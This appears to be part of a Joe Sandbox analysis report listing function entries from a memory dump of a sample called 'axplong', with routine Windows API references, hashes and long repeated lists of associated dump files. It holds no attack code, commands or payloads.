Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 49c94a9d38ad4d1a7cdaa2c33eee502a6c84d316c483d1217ef998e9068525a3
Instruction ID: ba8370a68eaa08943066417cd2b5195ca70cefa683a186eedea54bc0ceeb3cc5
Opcode Fuzzy Hash: 49c94a9d38ad4d1a7cdaa2c33eee502a6c84d316c483d1217ef998e9068525a3
Instruction Fuzzy Hash: 60D08C317C4320B7F26023A1AC03F16AA025B0BF41F2E6044BB1C3F0D0C6E038004ABC

Function 006982B0 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00698454

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ed021028324f0738f49963a509c2a87ef51966071cef9ca3e93d7c050818fb62
Instruction ID: 065a61aa0994eefc7024728a3c24999512b22215a4c166d1203e9fbd4105c4e5
Opcode Fuzzy Hash: ed021028324f0738f49963a509c2a87ef51966071cef9ca3e93d7c050818fb62
Instruction Fuzzy Hash: EC514871D002089FEF14EB68CD457EDB7BADF46704F5042A9E805A7781EF359E808BA5

Function 006C6F71 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,006C6EA8,?,?,00000000,00000000), ref: 006C6FB3

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 8ae12d050be7924aba8f482a10c228f7936012df774405392e4944731c86e4da
Instruction ID: d06cf0853184e91aafb67b4dae59bbc3957ac270a702aa488bcc286738fa1c88
Opcode Fuzzy Hash: 8ae12d050be7924aba8f482a10c228f7936012df774405392e4944731c86e4da
Instruction Fuzzy Hash: 6F11DD7290020CAEDB10DE95D941EEFB7BEAB08314F50526AF521E7180EB70EB45CBA5

Function 006CAB13 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 006CAB4D

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b078f1380a06ac0cdce227dde6c706b05eac4d5c9d8381aedc3db170675b06f4
Instruction ID: da9307978e8c82cc7ef0fca2afb6a3376da69d7c6b054cce3cb76e8e151e47fa
Opcode Fuzzy Hash: b078f1380a06ac0cdce227dde6c706b05eac4d5c9d8381aedc3db170675b06f4
Instruction Fuzzy Hash: 09111875A0420AAFCB05DF98E941E9A7BF5EF48314F054059F809AB351D670DD11CBA5

Function 006CD6EF Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,006CA6D3,00000001,00000364,00000006,000000FF,?,006AD32C,B5D2C3CE,?,006A78FB,?), ref: 006CD731

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 52b089ad63600b8726dd053bd5216d489c098de3439a4830020324040fe29cdf
Instruction ID: 476c939984cd0a19c91907605dadfa6d0842e05f5673456ae509fa008b8fcc21
Opcode Fuzzy Hash: 52b089ad63600b8726dd053bd5216d489c098de3439a4830020324040fe29cdf
Instruction Fuzzy Hash: B7F0E931645125669B213B259C05FBB779BDF817B0B18853DBC089B281CF31E80146F4

Function 006CAF0B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,B5D2C3CE,?,?,006AD32C,B5D2C3CE,?,006A78FB,?,?,?,?,?,?,00697435,?), ref: 006CAF3E

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
